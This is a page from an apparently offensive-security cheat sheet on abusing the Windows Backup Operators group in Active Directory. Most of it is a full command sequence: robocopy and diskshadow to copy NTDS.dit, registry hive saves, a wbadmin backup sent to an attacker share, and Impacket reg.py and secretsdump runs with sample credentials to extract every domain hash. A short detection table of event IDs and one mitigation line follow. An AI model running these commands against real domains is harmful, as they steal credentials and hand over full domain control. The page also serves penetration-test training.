AD^:Active Directory

Attack #49 — Abusing Backup Operators Group

Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system —…

advancedupdated 2026-08-10Impacket · PowerShell

🟣 Attack #49 — Abusing Backup Operators Group


📖 How It Works

Members of Backup Operators have the SeBackupPrivilege and SeRestorePrivilege, which grants them the ability to read and write any file on the system — bypassing NTFS ACLs entirely. This means a Backup Operator can copy the NTDS.dit database and SYSTEM hive from a DC, extract all domain hashes offline, and achieve full domain compromise.


⚙️ Prerequisites

RequirementDetail
Membership in Backup OperatorsProvides SeBackupPrivilege + SeRestorePrivilege
Logon access to DCRDP or WinRM (Backup Operators can log on locally by default)

💻 Full Commands

# ── Verify privileges ─────────────────────────────────────────────────────────
whoami /priv
# SeBackupPrivilege  = Read any file
# SeRestorePrivilege = Write any file

# ── Method 1: robocopy backup mode ───────────────────────────────────────────
robocopy /B C:\Windows\NTDS C:\Temp ntds.dit
reg save HKLM\SYSTEM C:\Temp\SYSTEM

# ── Method 2: diskshadow + robocopy ──────────────────────────────────────────
# Create diskshadow script:
echo "set context persistent nowriters" > script.txt
echo "add volume C: alias mydrive" >> script.txt
echo "create" >> script.txt
echo "expose %mydrive% Z:" >> script.txt

diskshadow /s script.txt
robocopy /B Z:\Windows\NTDS C:\Temp ntds.dit

# ── Method 3: wbadmin (Windows Server Backup) ────────────────────────────────
wbadmin start backup -backuptarget:\\ATTACKER\share -include:C: -quiet
# Then extract NTDS.dit from backup

# ── Parse offline ─────────────────────────────────────────────────────────────
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile backup_op_dump
# ── Remote via reg.py (SeBackupPrivilege) ─────────────────────────────────────
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SAM' -o SAM
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SYSTEM' -o SYSTEM
reg.py corp.local/backup_user:'Password1'@DC01.corp.local save -keyName 'HKLM\SECURITY' -o SECURITY
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4672Security LogSeBackupPrivilege/SeRestorePrivilege assigned at logon
4663Security LogObject access — NTDS.dit file read
8222Security LogShadow copy created

🔗 Attack Chain Context

[Backup Operators] ──→ SeBackupPrivilege → read NTDS.dit → all domain hashes
         │
         ├──→ 🔗 Bypass NTFS ACLs → copy any file including NTDS.dit
         ├──→ 🔗 Offline parsing → no DCSync needed
         └──→ 💀 Defeated by: limit Backup Operators membership, monitor privilege use

✅ Attack #49 — Backup Operators complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.